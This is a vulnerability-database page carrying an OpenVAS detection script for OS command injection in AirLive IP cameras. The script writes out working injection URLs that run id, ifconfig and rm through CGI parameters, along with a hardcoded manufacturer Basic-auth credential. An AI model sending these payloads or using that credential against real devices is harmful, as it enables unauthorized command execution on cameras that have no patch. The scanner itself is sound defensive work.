Lucene search
+L

AirLive Multiple Products OS Command Injection (Jul 2015) - Active Check

🗓️ 07 Jul 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

AirLive Multiple Products OS Command Injection (Jul 2015) - Active Check. OS Command Injection in cgi_test.cgi binary in AirLive MD-3025, BU-3026, and BU-2015 cameras. Affected firmware versions mentioned. No known solution

Related
Refs
Code
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105315");
  script_version("2025-07-31T05:44:45+0000");
  script_tag(name:"last_modification", value:"2025-07-31 05:44:45 +0000 (Thu, 31 Jul 2025)");
  script_tag(name:"creation_date", value:"2015-07-07 14:11:14 +0200 (Tue, 07 Jul 2015)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-10-09 19:56:00 +0000 (Tue, 09 Oct 2018)");

  script_cve_id("CVE-2015-2279", "CVE-2014-8389");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("AirLive Multiple Products OS Command Injection (Jul 2015) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "gb_default_credentials_options.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("Boa/banner", "AirLive/banner");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  script_tag(name:"summary", value:"There is an OS Command Injection in the cgi_test.cgi binary
  file in the AirLive MD-3025, BU-3026 and BU-2015 cameras when handling certain parameters. That
  specific CGI file can be requested without authentication, unless the user specified in the
  configuration of the camera that every communication should be performed over HTTPS (not enabled
  by default).");

  script_tag(name:"vuldetect", value:"Tries to execute the 'id/ifconfig' command via an HTTP GET
  request and checks the response.");

  script_tag(name:"affected", value:"AirLive BU-2015 with firmware 1.03.18 16.06.2014,

  AirLive BU-3026 with firmware 1.43 21.08.2014,

  AirLive MD-3025 with firmware 1.81 21.08.2014,

  AirLive WL-2000CAM with firmware LM.1.6.18 14.10.2011,

  AirLive POE-200CAM v2 with firmware LM.1.6.17.01.

  Other devices may be affected too.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection");

  exit(0);
}

if( get_kb_item( "default_credentials/disable_default_account_checks" ) )
  exit( 0 );

include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = http_get_port( default:8080 );
banner = http_get_remote_headers( port:port );

if( banner !~ "Server\s*:\s*Boa" || ( "AirLive" >!< banner && banner !~ "(WL|MD|BU|POE)-") )
  exit( 0 );

if( banner =~ "(MD|BU)-" ) {
  url = "/cgi_test.cgi?write_tan&;id&id";

  if( buf = http_vuln_check( port:port, url:url, pattern:"uid=[0-9]+.*gid=[0-9]+" ) ) {
    ret = egrep( string:buf, pattern:"uid=[0-9]+.*gid=[0-9]+" );
    report = 'By requesting "' + http_report_vuln_url( port:port, url:url, url_only:TRUE ) +
             '" it was possible to execute the "id" command. Response:\n\n[...] ' + chomp( ret ) + ' [...]';
    security_message( port:port, data:report );
    exit( 0 );
  }
}

if( banner =~ "(WL|POE)-") {
  vt_strings = get_vt_strings();

  rand = vt_strings["lowercase_rand"];
  auth = base64( str:"manufacture:erutcafunam" );
  url = "/cgi-bin/mft/wireless_mft?ap=testname;/sbin/ifconfig%202>%261%20>%20/web/html/" + rand;

  req = http_get( item:url, port:port );
  req = ereg_replace( string:req, pattern:'\r\n\r\n', replace: '\r\nAuthorization: Basic ' + auth + '\r\n\r\n');
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  url = "/" + rand;
  req = http_get( item:url, port:port );
  req = ereg_replace( string:req, pattern:'\r\n\r\n', replace: '\r\nAuthorization: Basic ' + auth + '\r\n\r\n');
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( "eth0" >< buf && "Link encap" >< buf && "HWaddr" >< buf ) {
    url = "/cgi-bin/mft/wireless_mft?ap=testname;rm%20/web/html/" + rand;
    req = http_get( item:url, port:port );
    req = ereg_replace( string:req, pattern:'\r\n\r\n', replace: '\r\nAuthorization: Basic ' + auth + '\r\n\r\n');
    buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    security_message( port:port );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2025 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 39.8
CVSS 210
EPSS0.17622
24